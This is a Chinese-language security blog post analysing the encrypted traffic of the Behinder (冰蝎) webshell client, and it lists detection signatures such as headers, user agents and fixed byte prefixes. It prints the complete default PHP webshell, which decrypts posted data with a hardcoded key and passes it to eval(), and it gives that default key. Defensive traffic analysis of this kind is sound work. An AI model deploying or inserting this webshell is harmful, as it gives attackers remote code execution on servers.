webshell工具——冰蝎webshell流量分析

admin 2024年12月3日13:53:24评论3 views字数 3660阅读12分12秒阅读模式

简介

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备难以检测。

特点:

- 交互流量进行对称加密,且加密密钥是由随机数函数动态生成
- 流量层,冰蝎的aes特征一直是厂商查杀的重点
- 主机层,aes相关的API也是一个强特征

针对于这些强特征,在冰蝎v4.0版本中,将特征成为变量。v4.0版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。

冰蝎通信过程(网上的分析文章都说到通信原理,两个阶段:密钥协商以及加密传输)、

第一阶段:密钥协商
1)攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.aspx?pass=645 的请求服务器密钥;
2)服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过AES加密后返回给攻击者

webshell工具——冰蝎webshell流量分析

传输协议

两部分组成:本地协议和远程协议

本地协议:通过java进行加解密
远程协议:根据服务端语言类型进行加解密
注意:同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。默认的key被修改后,同样本地和远程加密函数中的key也要被修改

一个传输协议必须包含一对本地加解密函数,至少包含一对远程加解密函数(Java、PHP、C#、ASP中的一个或者多个)如下是传输协议中的本地加解密函数与远程加解密函数:

webshell工具——冰蝎webshell流量分析

传输协议有以下这 6 种:

webshell工具——冰蝎webshell流量分析

冰蝎通信过程

步骤 本地客户端 远程服务端
1 本地对 Payload 进行加密,通过post发起请求
2 收到 Payload 密文后,利用解密算法进行解密
3 执行解密后的 Payload,并获取执行结果
4 对 Payload 执行结果进行加密,然后返回给本地客户端
5 收到响应密文后,利用解密算法解密,得到响应内容明文

这里以AES加密模式的shell上传到服务器

webshell工具——冰蝎webshell流量分析

加密函数是用 Java 写的,并且 key 是默认的,点击生成服务端,则会生成三个 shell 文件,分别为 .php.aspx.jsp

default_aes 生成的php shell:

?php
@error_reporting(0);
function decrypt($data)
{
$key="e45e329feb5d925b";  #在v4.0版本中可以自定义密码
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15]; 
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>

分析请求和响应

使用 wireshark抓取流量,分析两个数据包(第一包用于确认连接,第二包用于获取信息)

第一包:密钥协商:冰蝎确认被攻击端与本地能够进行加解密,或者进行数据传输

AES加解密工具网站

1、https://www.toolhelper.cn/SymmetricEncryption/AES
2、http://tools.bugscaner.com/cryptoaes/

进行aes密钥解密:使用默认密钥进行解密

请求报文获得AES解密后的php代码

webshell工具——冰蝎webshell流量分析

响应报文获得AES解密后的php代码

webshell工具——冰蝎webshell流量分析

“msg”是一段经过Base64编码的字符,是以请求报文中content经过Base64编码,然后再AES加密后生成的。都是为了绕过Content-Length。

base64解码后,status对应的是 success

webshell工具——冰蝎webshell流量分析

第二包:在第一次传输完成后,冰蝎确认被攻击端与本地可以建立传输,执行命令,返回给本地客户端,本地进行解密。

冰蝎流量特征

1、Accept字段

冰蝎的通信过程中会携带以下Accept字段,在进行数据通讯中会携带Accept字段
Accept: application/json, text/javascript, /; q=0.01

2、Content-Type字段

PHP站点:Application/x-www-form-urlencoded
ASP站点:Application/octet-stream

3、User-agent 字段

"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

4、长连接

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。
Connection: Keep-Alive

5、固定的请求头和响应头

1)PHP站点默认口令Default_xor_base64协议加密流量特征
请求字节头:
dFAXQV1LORcHRQtLRlwMAhwFTAg/M
响应字节头:
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

2)PHP站点默认口令Default_aes协议加密流量特征
请求字节头:
m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK
响应字节头:
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7

3)JSP站点默认口令Default_xor_base64协议,aes_with_magic协议,Default_aes协议,加密流量特征
响应字节头:QhoVQgMXEUcUCBMHAGFZaQtuHFUVXlkWGhBcF1QVCRJ

 

6、PHP webshell 中存在固定代码

$post=Decrypt(file get contents("php://input"));
eval($post);

7、JSP webshell 中存在固定代码

webshell工具——冰蝎webshell流量分析

参考文章

https://blog.csdn.net/miraclehw/article/details/129701611

https://www.cheetah-lab.com/?p=159

原文始发于微信公众号(sec0nd安全):webshell工具——冰蝎webshell流量分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月3日13:53:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell工具——冰蝎webshell流量分析http://cn-sec.com/archives/3442690.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息